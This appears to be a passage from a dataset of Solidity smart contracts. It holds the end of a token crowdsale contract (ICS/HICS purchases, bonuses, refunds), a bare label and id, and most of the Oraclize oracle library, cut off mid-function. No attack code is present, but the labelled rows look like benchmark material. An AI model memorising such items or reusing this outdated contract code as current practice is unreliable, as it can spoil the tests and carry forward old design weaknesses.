_value) internal { uint256 tokensWithBonus = _getTokenNumberWithBonus(_value); hicsToken.mint(_beneficiary, tokensWithBonus); emit HicsTokenPurchase(msg.sender, _beneficiary, tokensWithBonus); } function _buyTokens(address _beneficiary, uint256 _value) internal { uint256 valueHics = _value.div(5); if (_value >= hicsTokenPrice && hicsToken.totalSupply().add(_getTokenNumberWithBonus(valueHics)) < capHicsToken) { _buyIcsTokens(_beneficiary, _value - valueHics); _buyHicsTokens(_beneficiary, valueHics); } else { _buyIcsTokens(_beneficiary, _value); } uint256 tokensWithBonus = _getTokenNumberWithBonus(_value); totalTokensEmitted = totalTokensEmitted.add(tokensWithBonus); balances[_beneficiary] = balances[_beneficiary].add(tokensWithBonus); totalRaised = totalRaised.add(_value); } function buyTokensT4T(address _beneficiary) public saleIsOn { require(_beneficiary != address(0)); uint256 valueT4T = t4tToken.allowance(_beneficiary, address(this)); uint256 value = valueT4T.mul(rateT4T); require(value >= minimumInvest); require(t4tToken.transferFrom(_beneficiary, address(this), valueT4T)); _buyTokens(_beneficiary, value); t4tRaised = t4tRaised.add(valueT4T); balancesForRefundT4T[_beneficiary] = balancesForRefundT4T[_beneficiary].add(valueT4T); } function manualBuy(address _to, uint256 _value) public saleIsOn onlyOwner { require(_to != address(0)); require(_value >= minimumInvest); _buyTokens(_to, _value); } function buyTokensWithUpdateRate(address _beneficiary, uint256 _rate) public saleIsOn onlyOwner payable { _changeRate(_rate); buyTokens(_beneficiary); } function buyTokens(address _beneficiary) saleIsOn public payable { require(_beneficiary != address(0)); uint256 weiAmount = msg.value; uint256 value = weiAmount.mul(rate); require(value >= minimumInvest); _buyTokens(_beneficiary, value); weiRaised = weiRaised.add(weiAmount); balancesForRefund[_beneficiary] = balancesForRefund[_beneficiary].add(weiAmount); } function() external payable { buyTokens(msg.sender); } }
1
2,790
pragma solidity ^0.4.11; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { myid; result; proof; } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } _addr; _size; } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); sessionKeyHash_bytes32; assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); 